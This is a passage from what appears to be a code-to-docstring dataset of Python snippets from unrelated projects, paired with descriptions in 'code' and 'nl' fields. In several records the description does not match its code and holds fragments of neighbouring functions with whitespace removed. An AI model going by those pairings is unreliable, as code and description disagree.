"The \"facet_sorting\" parameter is respected for alphabetical sorting, and isprioritized over the default sorting as defined by the filter configutation."} {"code": "def _greedy_path(input_sets, output_set, idx_dict, memory_limit):\n\n if len(input_sets) == 1:\n return [(0,)]\n elif len(input_sets) == 2:\n return [(0, 1)]\n\n contract = _find_contraction(range(len(input_sets)), input_sets, output_set)\n idx_result, new_input_sets, idx_removed, idx_contract = contract\n naive_cost = _flop_count(idx_contract, idx_removed, len(input_sets), idx_dict)\n\n comb_iter = itertools.combinations(range(len(input_sets)), 2)\n known_contractions = []\n\n path_cost = 0\n path = []\n\n for iteration in range(len(input_sets) - 1):\n\n for positions in comb_iter:\n\n if input_sets[positions[0]].isdisjoint(input_sets[positions[1]]):\n continue\n\n result = _parse_possible_contraction(positions, input_sets, output_set, idx_dict, memory_limit, path_cost,\n naive_cost)\n if result is not None:\n known_contractions.append(result)\n\n if len(known_contractions) == 0:\n\n for positions in itertools.combinations(range(len(input_sets)), 2):\n result = _parse_possible_contraction(positions, input_sets, output_set, idx_dict, memory_limit,\n path_cost, naive_cost)\n if result is not None:\n known_contractions.append(result)\n", "nl": "Finds the path by contracting the best pair until the input list isexhausted. The best pair is found by minimizing the tuple``(-prod(indices_removed), cost)``. What this amounts to is prioritizingmatrix multiplication or inner product operations, then Hadamard likeoperations, and finally outer operations. Outer products are limited by``memory_limit``. This algorithm scales cubically with respect to thenumber of elements in the list ``input_sets``.Parameters----------input_sets : listList of sets that represent the lhs side of the einsum subscriptoutput_set : setSet that represents the rhs side of the overall einsum subscriptidx_dict : dictionaryDictionary of index sizesmemory_limit_limit : intThe maximum number of elements in a temporary arrayReturns-------path : listThe greedy contraction order within the memory limit constraint.Examples-------->>> isets = [set('abd'), set('ac'), set('bdc')]>>> oset = set()>>> idx_sizes = {'a': 1, 'b':2, 'c':3, 'd':4}>>> _greedy_path(isets, oset, idx_sizes, 5000)[(0, 2), (0, 1)]"} {"code": "def get_initializers(self):\n return self._initializers\n", "nl": "Tensorflow initializers for all relation parameters.Returns:a list of Tensorflow ops."} {"code": "def setUp(self):\n self.server = smtp.ESMTP({\n 'LOGIN': imap4.LOGINCredentials})\n self.server.host = 'localhost'\n self.transport = StringTransport(\n peerAddress=address.IPv4Address('TCP', '127.0.0.1', 12345))\n self.server.makeConnection(self.transport)\n\n", "nl": "Create an ESMTP instance attached to a StringTransport."} {"code": "def get_edit_assessment(cls, handler):\n key = handler.request.get('key')\n course = courses.Course(handler)\n lesson = course.find_lesson_by_id(None, key)\n annotations_dict = (\n None if lesson.has_activity else cls.HIDE_ACTIVITY_ANNOTATIONS)\n schema = LessonRESTHandler.get_schema(course, key)\n if courses.has_only_new_style_activities(course):\n schema.get_property('objectives').extra_schema_dict_values[\n 'excludedCustomTags'] = set(['gcb-activity'])\n return cls._render_edit_form_for(\n handler,\n LessonRESTHandler, 'Lessons and Activities', schema,\n annotations_dict=annotations_dict,\n delete_xsrf_token='delete-lesson',\n extra_js_files=['lesson_editor.js'])\n\n\n @classmethod", "nl": "Shows assessment editor.return cls._render_edit_form_for(handler, AssessmentRESTHandler, 'Assessment',AssessmentRESTHandler.get_schema(courses.Course(handler), int(handler.request.get('key'))),extra_js_files=['assessment_editor_lib.js', 'assessment_editor.js'])@classmethoddef get_edit_lesson(cls, handler):Shows the lesson/activity editor."} {"code": "def message_callback_add(self, sub, callback):\n if callback is None or sub is None:", "nl": "Register a message callback for a specific topic.Messages that match 'sub' will be passed to 'callback'. Anynon-matching messages will be passed to the default on_messagecallback.Call multiple times with different 'sub' to define multiple topicspecific callbacks.Topic specific callbacks may be removed withmessage_callback_remove()."} {"code": "def test_saml_bad_target(self):\n client = Client()\n response = client.post(\n '/samlValidate?TARGET=%s' % self.service,\n \"\",\n content_type=\"text/xml; encoding='utf-8'\"\n )\n self.assert_error(response, 'VersionMismatch')", "nl": "test with a valid ticket, but using a bad target, validation should failbad_target = \"https://www.example.org\"ticket = get_user_ticket_request(self.service)[1]client = Client()response = client.post('/samlValidate?TARGET=%s' % bad_target,self.xml_template % {'ticket': ticket.value,'request_id': utils.gen_saml_id(),'issue_instant': timezone.now().isoformat()},content_type=\"text/xml; encoding='utf-8'\")self.assert_error(response,\"AuthnFailed\",'TARGET %s does not match ticket service' % bad_target)def test_saml_bad_xml(self):test validation with a bad xml request, validation should fail"} {"code": "def register_models(self, app_label, *models):\n for model in models:\n model_name = model._meta.object_name.lower()", "nl": "Register a set of models as belonging to an app."} {"code": "def _update_distr(self, mu, alpha):\n var = self.func(m)\n try:\n return max((var - m) / m**2, 1e-300)\n except Warning:\n if m**2 > 1e-300:\n return max((var - m) / m**2, 1e-300)\n else:\n return 1e-300\n", "nl": "Update distributions assigned to each state with new mu and alpharaw1 = [NegBin(mu[0, 0], alpha[0, 0]), NegBin(mu[0, 1], alpha[0, 1]), NegBin(mu[0, 2], alpha[0, 2])]raw2 = [NegBin(mu[1, 0], alpha[1, 0]), NegBin(mu[1, 1], alpha[1, 1]), NegBin(mu[1, 2], alpha[1, 2])]self.neg_distr = np.matrix([raw1, raw2]) #matrix of all Neg. Bin. Distributions, columns=HMM's state (3), row=#samples (2)def get_alpha(self, m):Return alpha for a given mu based on empirical variance"} {"code": "def reset_meter(name: str, key: str) -> None:\n meters = get_meters(name)\n if meters is not None:\n meters.reset()\n\n", "nl": "Reset Meter instance aggregated under a given *name* and *key*.meter = get_meter(name, key)if meter is not None:meter.reset()def reset_meters(name: str) -> None:Reset Meter instances aggregated under a given *name*."} {"code": "def nlp():\n custom_nlp = en_coref_md.load()\n custom_nlp.tokenizer = text_utils.biomedical_tokenizer(custom_nlp)\n return custom_nlp\n\n", "nl": "Returns an instance of a spaCy's nlp object after replacing the default tokenizer withour modified one."} {"code": "def sanitize_text(text):\n with open(filename) as data_file:\n return json.load(data_file)\n\n @staticmethod", "nl": "Remove some weird characters from text, useful for building filenames from commands.regexp = \"[^a-zA-Z0-9]\"return re.sub(regexp, \"_\", text)[0:150]@staticmethoddef read_json_file(filename):Parse a json file and return its content."} {"code": "def editProfile(self, url, phone, first_name, biography, email, gender):\n data = json.dumps(\n OrderedDict([\n ('_uuid', self.uuid),\n ('_uid', self.username_id),\n ('_csrftoken', self.token),\n ('external_url', url),\n ('phone_number', phone),\n ('username', self.username),\n ('first_name', first_name),\n ('biography', biography),\n ('email', email),\n ('gender', gender)\n ])\n )\n\n return ProfileResponse(self.http.request('accounts/edit_profile/', SignatureUtils.generateSignature(data))[1])\n", "nl": "Edit profile.:type url: str:param url: Url - website. \"\" for nothing:type phone: str:param phone: Phone number. \"\" for nothing:type first_name: str:param first_name: Name. \"\" for nothing:type email: str:param email: Email. Required.:type gender: int:param gender: Gender. male = 1 , female = 0:rtype: object:return: edit profile data"} {"code": "def testMessageFieldMessageType(self):\n if six.PY2:", "nl": "Test message_type property.class MyMessage(messages.Message):passclass HasMessage(messages.Message):field = messages.MessageField(MyMessage, 1)self.assertEqual(HasMessage.field.type, HasMessage.field.message_type)def testMessageFieldValueFromMessage(self):class MyMessage(messages.Message):passclass HasMessage(messages.Message):field = messages.MessageField(MyMessage, 1)instance = MyMessage()self.assertTrue(instance is HasMessage.field.value_from_message(instance))def testMessageFieldValueFromMessageWrongType(self):class MyMessage(messages.Message):passclass HasMessage(messages.Message):field = messages.MessageField(MyMessage, 1)self.assertRaisesWithRegexpMatch(messages.DecodeError,'Expected type MyMessage, got int: 10',HasMessage.field.value_from_message, 10)def testMessageFieldValueToMessage(self):class MyMessage(messages.Message):passclass HasMessage(messages.Message):field = messages.MessageField(MyMessage, 1)instance = MyMessage()self.assertTrue(instance is HasMessage.field.value_to_message(instance))def testMessageFieldValueToMessageWrongType(self):class MyMessage(messages.Message):passclass MyOtherMessage(messages.Message):passclass HasMessage(messages.Message):field = messages.MessageField(MyMessage, 1)instance = MyOtherMessage()self.assertRaisesWithRegexpMatch(messages.EncodeError,'Expected type MyMessage, got MyOtherMessage: ',HasMessage.field.value_to_message, instance)def testIntegerField_AllowLong(self):Test that the integer field allows for longs."} {"code": "def finish_request(self, request, client_address):\n self.close_request(request)\n", "nl": "Finish one request by instantiating RequestHandlerClass.self.RequestHandlerClass(request, client_address, self)def shutdown_request(self, request):Called to shutdown and close an individual request."} {"code": "def test_invalidSequence(self):\n self.assertRaises(AssertionError, recvline.TransportSequence)", "nl": "Initializing a L{recvline.TransportSequence} with no argsraises an assertion."} {"code": "def read(self, size=-1, chars=-1, firstline=False):\n if self.linebuffer:\n self.charbuffer = \"\".join(self.linebuffer)\n self.linebuffer = None\n\n while True:\n if chars < 0:\n if size < 0:\n if self.charbuffer:\n break\n elif len(self.charbuffer) >= size:\n break\n else:\n if len(self.charbuffer) >= chars:\n break\n if size < 0:\n newdata = self.stream.read()\n else:\n newdata = self.stream.read(size)\n data = self.bytebuffer + newdata\n try:\n newchars, decodedbytes = self.decode(data, self.errors)\n except UnicodeDecodeError, exc:\n if firstline:\n newchars, decodedbytes = self.decode(data[:exc.start], self.errors)\n lines = newchars.splitlines(True)\n if len(lines)<=1:\n raise\n else:\n raise\n self.bytebuffer = data[decodedbytes:]\n self.charbuffer += newchars\n if not newdata:\n break\n if chars < 0:\n result = self.charbuffer\n self.charbuffer = \"\"\n else:\n result = self.charbuffer[:chars]\n self.charbuffer = self.charbuffer[chars:]\n return result\n", "nl": " Decodes data from the stream self.stream and returns theresulting object.chars indicates the number of characters to read from thestream. read() will never return more than charscharacters, but it might return less, if there are not enoughcharacters available.size indicates the approximate maximum number of bytes toread from the stream for decoding purposes. The decodercan modify this setting as appropriate. The default value-1 indicates to read and decode as much as possible. sizeis intended to prevent having to decode huge files in onestep.If firstline is true, and a UnicodeDecodeError happensafter the first line terminator in the input only the first linewill be returned, the rest of the input will be kept until thenext call to read().The method should use a greedy read strategy meaning thatit should read as much data as is allowed within thedefinition of the encoding and the given size, e.g. ifoptional encoding endings or state markers are availableon the stream, these should be read too."} {"code": "def _get_authentication_method(self):\n try:\n token1 = self._custom_mutations[primitives.CUSTOM_PAYLOAD][STATIC_OAUTH_TOKEN]\n token2 = self._custom_mutations[primitives.SHADOW_VALUES][primitives.CUSTOM_PAYLOAD][STATIC_OAUTH_TOKEN]\n return STATIC_OAUTH_TOKEN\n except Exception:\n pass\n\n from engine.core.request_utilities import latest_token_value as token1\n from engine.core.request_utilities import latest_shadow_token_value as token2\n if token1 is not NO_TOKEN_SPECIFIED and token2 is not NO_SHADOW_TOKEN_SPECIFIED:\n return primitives.REFRESHABLE_AUTHENTICATION_TOKEN\n\n return 'ONLY_ONE_USER'\n", "nl": " Trys to find out the authentication method used (if any).@return: The authenctication methid used.@rtype : Str"} {"code": "def update_buffer(cls):\n Options.inst().print_settings()\n", "nl": "updateif cls.inst().__server is None:cls.inst().start_server()print(\"Vim was not listening to Sourcetrail. Vim is listening now.\")print(\"Try to send again from Sourcetrail.\")else:if cls.inst().__update:# Must clear the __update flag before \"e!\" due to autocmd nestingcls.inst().__update = Falsevim.command(\"e! \" + cls.inst().__file)vim.current.window.cursor = (cls.inst().__row, cls.inst().__col)@classmethoddef print_settings(cls): Prints Settings "} {"code": "def __delitem__(self, name):\n name = name.lower()\n newheaders = []\n for k, v in self._headers:\n if k.lower() != name:\n newheaders.append((k, v))\n\n self._headers = newheaders\n", "nl": "Delete all occurrences of a header, if present.Does not raise an exception if the header is missing."} {"code": "def _cmp(self, other):\n\n if self._is_special or other._is_special:\n self_inf = self._isinfinity()\n other_inf = other._isinfinity()\n if self_inf == other_inf:\n return 0\n elif self_inf < other_inf:\n return -1\n else:\n return 1\n\n if not self:\n if not other:\n return 0\n else:\n return -((-1)**other._sign)\n if not other:\n return (-1)**self._sign\n\n if other._sign < self._sign:\n return -1\n if self._sign < other._sign:\n return 1\n\n self_adjusted = self.adjusted()\n other_adjusted = other.adjusted()\n if self_adjusted == other_adjusted:\n self_padded = self._int + '0'*(self._exp - other._exp)\n other_padded = other._int + '0'*(other._exp - self._exp)\n if self_padded == other_padded:\n return 0\n elif self_padded < other_padded:\n return -(-1)**self._sign\n else:\n return (-1)**self._sign\n elif self_adjusted > other_adjusted:\n return (-1)**self._sign\n else:\n return -((-1)**self._sign)\n\n", "nl": "Compare the two non-NaN decimal instances self and other.Returns -1 if self < other, 0 if self == other and 1if self > other. This routine is for internal use only."} {"code": "def write(cls, f, data):\n\n See https://www.census.gov/geo/maps-data/data/gazetteer2016.html\n \"\"\"", "nl": "Writes series of zipcode, (latitude, longitude) pairs to file.logger.info(\"Writing zipcodes to %s\", f.name)count = 0writer = csv.writer(f, delimiter=cls.DELIMITER)for zipcode, (latitude, longitude) in data:writer.writerow([zipcode, latitude, longitude])count += 1logger.info(\"Wrote %d zipcodes to file\", count)class GazetteerZipCodeFile:Helper class for loading of zipcode data from Census Gazetteer files."} {"code": "def ack(self, delivery_tag, multiple=False):\n args = Writer()\n args.write_longlong(delivery_tag).\\\n write_bit(multiple)\n\n self.send_frame(MethodFrame(self.channel_id, 60, 80, args))\n", "nl": "Acknowledge delivery of a message. If multiple=True, acknowledge up-toand including delivery_tag."} {"code": "def _repr_fits_vertical_(self):\n max_rows = get_option(\"display.max_rows\")\n return len(self) <= max_rows\n", "nl": "Check length against max_rows."} {"code": "def update_docstring(ufunc, func, n_output=1):\n\n b_inv overwrites b unless b_inv is None.\n \"\"\"", "nl": "Update ArviZ generated ufunc docstring.module = \"\"name = \"\"docstring = \"\"if hasattr(func, \"__module__\") and isinstance(func.__module__, str):module += func.__module__if hasattr(func, \"__name__\"):name += func.__name__if hasattr(func, \"__doc__\") and isinstance(func.__doc__, str):docstring += func.__doc__ufunc.__doc__ += \"\\n\\n\"if module or name:ufunc.__doc__ += \"This function is a ufunc wrapper for \"ufunc.__doc__ += module + \".\" + nameufunc.__doc__ += \"\\n\"ufunc.__doc__ += 'Call ufunc with n_args from xarray against \"chain\" and \"draw\" dimensions:'ufunc.__doc__ += \"\\n\\n\"input_core_dims = 'tuple((\"chain\", \"draw\") for _ in range(n_args))'if n_output > 1:output_core_dims = f\" tuple([] for _ in range({n_output}))\"msg = f\"xr.apply_ufunc(ufunc, dataset, input_core_dims={input_core_dims}, \"msg += f\"output_core_dims={ output_core_dims})\"else:output_core_dims = \"\"msg = f\"xr.apply_ufunc(ufunc, dataset, input_core_dims={input_core_dims})\"ufunc.__doc__ += msgufunc.__doc__ += \"\\n\\n\"ufunc.__doc__ += \"For example: np.std(data, ddof=1) --> n_args=2\"if docstring:ufunc.__doc__ += \"\\n\\n\"ufunc.__doc__ += moduleufunc.__doc__ += nameufunc.__doc__ += \" docstring:\"ufunc.__doc__ += \"\\n\\n\"ufunc.__doc__ += docstringdef logsumexp(ary, *, b=None, b_inv=None, axis=None, keepdims=False, out=None, copy=True):Stable logsumexp when b >= 0 and b is scalar."} {"code": "def check_status(self):\n\n ctx = {\"interfaces\": {\n self.iface_in: False,\n self.iface_out: False,\n \"eth0\": False},\n \"internet\": self.check_internet()}\n\n for iface in ctx[\"interfaces\"].keys():\n try:\n ip = ni.ifaddresses(iface)[ni.AF_INET][0][\"addr\"]\n if not ip.startswith(\"127\") or not ip.startswith(\"169.254\"):\n ctx[\"interfaces\"][iface] = ip\n except:\n ctx[\"interfaces\"][iface] = \"Interface not connected or present.\"\n return ctx\n", "nl": "The method check_status check the IP addressing of each interfaceand return their associated IP.:return: dict containing each interface status."} {"code": "def test_fileDescriptorOverrun(self):\n cargo = socket()\n server = SendFileDescriptor(cargo.fileno(), None)\n\n client = ReceiveFileDescriptor()\n result = []\n d = client.waitForDescriptor()\n d.addBoth(result.append)\n d.addBoth(lambda ignored: server.transport.loseConnection())\n\n runProtocolsWithReactor(self, server, client, self.endpoints)\n\n self.assertIsInstance(result[0], Failure)\n result[0].trap(ConnectionClosed)\n self.assertIsInstance(server.reason.value, FileDescriptorOverrun)\n if sendmsgSkip is not None:\n test_fileDescriptorOverrun.skip = sendmsgSkip\n\n", "nl": "If L{IUNIXTransport.sendFileDescriptor} is used to queue a greaternumber of file descriptors than the number of bytes sent usingL{ITransport.write}, the connection is closed and the protocol connectedto the transport has its C{connectionLost} method called with a failurewrapping L{FileDescriptorOverrun}."} {"code": "def setTTL(ttl):\n", "nl": "Set time to live on multicast packets."} {"code": "def process_video(self, video: Video):\n\n image = models.ImageField(\n upload_to=get_upload_to_hashed_path,\n blank=True,\n height_field='height',\n width_field='width',\n )\n height = models.PositiveIntegerField()\n width = models.PositiveIntegerField()\n source_filename = models.CharField(max_length=128, null=True)\n", "nl": "Set Post as 'processing' and start video encoding.# Set status as processing, without triggering Post save signalsPost.objects.filter(pk=self.id).update(status='processing')# Create a background job, using only hashable argumentscreate_coconut_job(str(self.content_type_id), str(self.id), video.id)def publish(self):super(Post, self).publish()# Send signal to generate Tags activitypost_published.send(sender=self.__class__, instance=self)def is_bookmarked(self, user: User):if user.is_anonymous:return Falsereturn user.profile.bookmarks.filter(pk=self.pk).exists()def __str__(self):return f'{self.title[:50]}' if self.title else str(self.hash_id)class Meta:ordering = ['-created_at']class PostMediaImage(models.Model):An image file, attached to a Post via PostMedia."} {"code": "def __getitem__(self, item):\n if attr in self.contacted:\n return ModuleResult(**self.contacted[attr])\n else:\n raise AttributeError(\"type AdHocResult has no attribute '%s'\" % attr)\n", "nl": "Return a ModuleResult instance matching the provided `item`.if item in self.contacted:return ModuleResult(**self.contacted[item])else:raise KeyError(item)def __getattr__(self, attr):Return a ModuleResult instance matching the provided `attr`."} {"code": "def filter_queryset(self, queryset):\n for backend in list(self.filter_backends):\n queryset = backend().filter_queryset(self.request, queryset, self)\n return queryset\n\n @property", "nl": "Given a queryset, filter it with whichever filter backend is in use.You are unlikely to want to override this method, although you may needto call it either from a list view, or from a custom `get_object`method if you want to apply the configured filtering backend to thedefault queryset."} {"code": "def video_search(subscription_key):\n client = VideoSearchClient(ENDPOINT, CognitiveServicesCredentials(subscription_key))\n\n try:\n video_result = client.videos.search(query=\"SwiftKey\")\n print(\"Search videos for query \\\"SwiftKey\\\"\")\n\n if video_result.value:\n first_video_result = video_result.value[0]\n print(\"Video result count: {}\".format(len(video_result.value)))\n print(\"First video id: {}\".format(first_video_result.video_id))\n print(\"First video name: {}\".format(first_video_result.name))\n print(\"First video url: {}\".format(first_video_result.content_url))\n else:\n print(\"Didn't see any video result data..\")\n\n except Exception as err:\n print(\"Encountered exception. {}\".format(err))\n\n", "nl": "VideoSearch.This will search videos for (SwiftKey) then verify number of results and print out id, name and url of first video result."} {"code": "def make_create_command(self, name=None, params=None, root_dir=None):", "nl": "Generate a qemu command line. All parameters are optional. If aparameter is not supplied, the corresponding value stored in theclass attributes is used.:param name: The name of the object:param params: A dict containing VM params:param root_dir: Base directory for relative filenames:note: The params dict should contain:mem -- memory size in MBscdrom -- ISO filename to use with the qemu -cdrom parameterextra_params -- a string to append to the qemu commandshell_port -- port of the remote shell daemon on the guest(SSH, Telnet or the home-made Remote Shell Server)shell_client -- client program to use for connecting to theremote shell daemon on the guest (ssh, telnet or nc)x11_display -- if specified, the DISPLAY environment variablewill be be set to this value for the qemu process (useful forSDL rendering)images -- a list of image object names, separated by spacesnics -- a list of NIC object names, separated by spacesFor each image in images:drive_format -- string to pass as 'if' parameter for thisimage (e.g. ide, scsi)image_snapshot -- if yes, pass 'snapshot=on' to qemu forthis imageimage_boot -- if yes, pass 'boot=on' to qemu for this imageIn addition, all parameters required by get_image_filename.For each NIC in nics:nic_model -- string to pass as 'model' parameter for thisNIC (e.g. e1000)"} {"code": "def makeToUnicodeCMap(fontname, subset):\n cmap = [\n \"/CIDInit /ProcSet findresource begin\",\n \"12 dict begin\",\n \"begincmap\",\n \"/CIDSystemInfo\",\n \"<< /Registry (%s)\" % fontname,\n \"/Ordering (%s)\" % fontname,\n \"/Supplement 0\",", "nl": "Creates a ToUnicode CMap for a given subset. See Adobe_PDF_Reference (ISBN 0-201-75839-3) for more information."} {"code": "def equal(var1, var2):\n return (\n var1.name == var2.name\n and var1.type == var2.type\n and var1.shape == var2.shape\n and var1.dtype == var2.dtype\n and var1.lod_level == var2.lod_level\n and var1.persistable == var2.persistable\n )\n", "nl": "the two var is equal or not.Returns:bool: equal will return True else False"} {"code": "def mean_flat(tensor):\n return tensor.mean(dim=list(range(1, len(tensor.shape))))\n\n", "nl": "Take the mean over all non-batch dimensions."} {"code": "def augmentGH(self, xyz, G, H):\n ni = len(G)\n nc = len(self.Prims.cPrims)\n nt = ni+nc\n cT = np.zeros((nc, ni), dtype=float)\n c0 = -1.0 * self.calcConstraintDiff(xyz)\n for ic, c in enumerate(self.Prims.cPrims):\n iPrim = self.Prims.Internals.index(c)\n cT[ic, self.cDLC[ic]] = 1.0/self.Vecs[iPrim, self.cDLC[ic]]\n if self.conmethod == 1:\n if c0[ic] < -0.1:\n c0[ic] = -0.1\n if c0[ic] > 0.1:\n c0[ic] = 0.1\n HC = np.zeros((nt, nt), dtype=float)\n HC[0:ni, 0:ni] = H[:,:]\n HC[ni:nt, 0:ni] = cT[:,:]\n HC[0:ni, ni:nt] = cT.T[:,:]\n GC = np.zeros(nt, dtype=float)\n GC[0:ni] = G[:]\n GC[ni:nt] = -c0[:]\n return GC, HC\n", "nl": "Add extra dimensions to the gradient and Hessian corresponding to the constrained degrees of freedom.The Hessian becomes: H ccT 0where the elements of cT are the first derivatives of the constraint function(typically a single primitive minus a constant) with respect to the DLCs.Since we picked a DLC to represent the constraint (cProj), we only set one elementin each row of cT to be nonzero. Because cProj = a_i * Prim_i + a_j * Prim_j, we haved(Prim_c)/d(cProj) = 1.0/a_c where \"c\" is the index of the primitive being constrained.The extended elements of the Gradient are equal to the constraint violation.Parameters----------xyz : np.ndarrayFlat array containing Cartesian coordinates in atomic unitsG : np.ndarrayFlat array containing internal coordinate gradientH : np.ndarraySquare array containing internal coordinate HessianReturns-------GC : np.ndarrayFlat array containing gradient extended by constraint violationsHC : np.ndarraySquare matrix extended by partial derivatives d(Prim)/d(cProj)"} {"code": "def __getattr__(self, name: str):\n\n Args:\n path: a dot separated string denoting a descendant of this layer.\n\n Returns:\n The descendant layer.\n\n Raises:\n KeyError: if the descendant is not found.\n IndexError: if an out of range index is requested of a descendant layer.\n TypeError: if attempting to index a BaseLayer as though it were a list.\n \"\"\"", "nl": "Returns the child layer of the given name.if name == '_private_children':# Raising AttributeError without custom message triggers normal python# handling of __getattr__ AttributeError.raise AttributeError()if name in self._private_children:return self._private_children[name]elif (hasattr(type(self), name) andisinstance(getattr(type(self), name), property)):# There was an AttributeError raised by a property getter.# Call property getter again directly to raise the same error.return getattr(type(self), name).fget(self)else:raise AttributeError('%s is not a sub-layer of %s.' % (name, self))def GetDescendant(self, path: str) -> BaseLayerT:Returns a descendant layer given the path."} {"code": "def annotation(self):\n try:\n if self.children[3] == \"->\":\n return self.children[4]\n assert self.children[3] == \":\"\n return None\n except IndexError:\n return None\n\n\nclass Lambda(Function):\n \"\"\"", "nl": "Returns the test node after `->` or `None` if there is no annotation."} {"code": "def test_previewCheck23(self):\n self._doBasicSphinxConfig()\n core.config()['Sphinx']['BuildOnSave'] = False\n core.config().flush()\n self.codeText = \"\"\"****\n self.masterText = \"\"\".. toctree::\n codeDoc = self.createFile('code.rst', self.testText)\n masterDoc = self.createFile('index.rst', self.testText)\n self._assertHtmlReady(lambda: core.workspace().setCurrentDocument(codeDoc), timeout=10000)\n with open(\"code.rst\", 'a') as f:\n f.write(\".. mytag::\")\n self._assertHtmlReady(lambda: core.workspace().setCurrentDocument(masterDoc), timeout=10000)\n core.workspace().setCurrentDocument(codeDoc)\n\n qp = core.workspace().currentDocument().qutepart\n self.assertEmits(lambda: qp.appendPlainText('xxx'),\n self._dock()._typingTimer.timeout, timeoutMs=1000)\n base._processPendingEvents()\n self.assertTrue(qp.document().isModified())\n\n @requiresSphinx()\n @base.inMainLoop", "nl": "If the document is modified externally, then build on save will beautomatically enabled. Calling scheduledocumentprocessing will nottrigger a rebuild."} {"code": "def inflate_weight(state_dict_2d, state_dict_3d):\n state_dict_inflated = OrderedDict()\n for k, v2d in state_dict_2d.items():\n assert k in state_dict_3d.keys()\n v3d = state_dict_3d[k]\n if len(v2d.shape) == 4 and len(v3d.shape) == 5:\n logger.info(\n \"Inflate {}: {} -> {}: {}\".format(k, v2d.shape, k, v3d.shape)\n )\n try:\n assert v2d.shape[-2:] == v3d.shape[-2:]\n assert v2d.shape[:2] == v3d.shape[:2]\n v3d = (\n v2d.unsqueeze(2).repeat(1, 1, v3d.shape[2], 1, 1) / v3d.shape[2]\n )\n except:\n temp = (\n v2d.unsqueeze(2).repeat(1, 1, v3d.shape[2], 1, 1) / v3d.shape[2]\n )\n v3d = torch.zeros(v3d.shape)\n v3d[:,:v2d.shape[1],:,:,:] = temp\n\n elif v2d.shape == v3d.shape:\n v3d = v2d\n else:\n logger.info(\n \"Unexpected {}: {} -|> {}: {}\".format(\n k, v2d.shape, k, v3d.shape\n )\n )\n state_dict_inflated[k] = v3d.clone()\n return state_dict_inflated\n\n", "nl": "Inflate 2D model weights in state_dict_2d to the 3D model weights instate_dict_3d. The details can be found in:Joao Carreira, and Andrew Zisserman.\"Quo vadis, action recognition? a new model and the kinetics dataset.\"Args:state_dict_2d (OrderedDict): a dict of parameters from a 2D model.state_dict_3d (OrderedDict): a dict of parameters from a 3D model.Returns:state_dict_inflated (OrderedDict): a dict of inflated parameters."} {"code": "def set_internal_padding_false(module):\n if hasattr(module, \"internal_padding\"):\n module.internal_padding = False\n\n\nclass FeaturesDataset(torch.utils.data.Dataset):\n \"\"\" Features dataset.\n", "nl": "This is used to turn off padding of steppable convolution layers."} {"code": "def process_a_node(self, source_node, target, noise):\n source = torch.LongTensor([source_node]).to(self.device)\n targets = torch.LongTensor([target] + noise).to(self.device)\n return source, targets\n", "nl": "Given a node, target and noise samples create indexing tensors.:param source_node: Source node.:param target: Target node/feature index.:param noise: Noise samples.:return source: Source node tensor.:return targets: Real and noise target indices."} {"code": "def __init__(self, coordinator, createWorker, logException):\n self._quit = Quit()\n self._coordinator = coordinator\n self._createWorker = createWorker\n self._logException = logException\n\n self._idle = set()\n self._busyCount = 0\n self._pending = deque()\n self._shouldQuitCoordinator = False\n self._toShrink = 0\n\n", "nl": "@param coordinator: an L{IExclusiveWorker} which will coordinate accessto resources on this L{Team}; that is to say, anL{IExclusiveWorker} whose C{do} method ensures that its given workwill be executed in a mutually exclusive context, not in parallelwith other work enqueued by C{do} (although possibly in parallelwith the caller).@param createWorker: A 0-argument callable that will create anL{IWorker} to perform work.@param logException: A 0-argument callable called in an exceptioncontext when the work passed to C{do} raises an exception."} {"code": "def bypass_host(self, hostname):\n Read proxy info from the environment variables.\n \"\"\"", "nl": "Has this host been excluded from the proxy configif self.bypass_hosts is AllHosts:return Truebypass = Falsefor domain in self.bypass_hosts:if hostname.endswith(domain):bypass = Truereturn bypassdef proxy_info_from_environment(method='http'):"} {"code": "def to_query(self, query_or_session):\n\n if isinstance(query_or_session, Session):\n session = query_or_session\n elif isinstance(query_or_session, Query):\n session = query_or_session.session\n if session is None:\n raise sa_exc.ArgumentError(\n \"Given Query needs to be associated with a Session\"\n )\n else:\n raise TypeError(\n \"Query or Session object expected, got %r.\"\n % type(query_or_session)\n )\n return self._as_query(session)\n", "nl": "Return the :class:`_query.Query` object for use as a subquery.This method should be used within the lambda callable being usedto generate a step of an enclosing :class:`.BakedQuery`. Theparameter should normally be the :class:`_query.Query` object thatis passed to the lambda::sub_bq = self.bakery(lambda s: s.query(User.name))sub_bq += lambda q: q.filter(User.id == Address.user_id).correlate(Address)main_bq = self.bakery(lambda s: s.query(Address))main_bq += lambda q: q.filter(sub_bq.to_query(q).exists())In the case where the subquery is used in the first callable againsta :class:`.Session`, the :class:`.Session` is also accepted::sub_bq = self.bakery(lambda s: s.query(User.name))sub_bq += lambda q: q.filter(User.id == Address.user_id).correlate(Address)main_bq = self.bakery(lambda s: s.query(Address.id, sub_bq.to_query(q).as_scalar())):param query_or_session: a :class:`_query.Query` object or a class:class:`.Session` object, that is assumed to be within the contextof an enclosing :class:`.BakedQuery` callable... versionadded:: 1.3"} {"code": "def mentions_real_name(Subject, Object):\n anything = Star(Any())\n real_name = Plus(Pos(\"NNP\") + Question(Token(\",\")))\n return Subject + Token(\"born\") + real_name + Pos(\"IN\") + Object + anything\n\n\n@rule(True)", "nl": "Ex: Harry Pilling, born Ashtonunder-Lyne, Lancashire on 2 February 1943, played ..."} {"code": "def add_args(parser):", "nl": "Add model-specific arguments to the parser.# fmt: offparser.add_argument('--dropout', type=float, metavar='D',help='dropout probability')parser.add_argument('--encoder-embed-dim', type=int, metavar='N',help='encoder embedding dimension')parser.add_argument('--encoder-embed-path', type=str, metavar='STR',help='path to pre-trained encoder embedding')parser.add_argument('--encoder-layers', type=str, metavar='EXPR',help='encoder layers [(dim, kernel_size), ...]')parser.add_argument('--decoder-embed-dim', type=int, metavar='N',help='decoder embedding dimension')parser.add_argument('--decoder-embed-path', type=str, metavar='STR',help='path to pre-trained decoder embedding')parser.add_argument('--decoder-layers', type=str, metavar='EXPR',help='decoder layers [(dim, kernel_size), ...]')parser.add_argument('--decoder-out-embed-dim', type=int, metavar='N',help='decoder output embedding dimension')parser.add_argument('--decoder-attention', type=str, metavar='EXPR',help='decoder attention [True, ...]')parser.add_argument('--share-input-output-embed', action='store_true',help='share input and output embeddings (requires'' --decoder-out-embed-dim and --decoder-embed-dim'' to be equal)')# fmt: on@classmethoddef build_model(cls, args, task):Build a new model instance."} {"code": "def construct_from_string(cls, string):\n if string == cls.name:\n return cls()\n raise TypeError(\"Cannot construct a '{}' from \"\n \"'{}'\".format(cls, string))\n\n", "nl": "Construction from a string, raise a TypeError if notpossible"} {"code": "def test_all_missing(self):\n", "nl": "Ensure that we work properly if no expected fields are 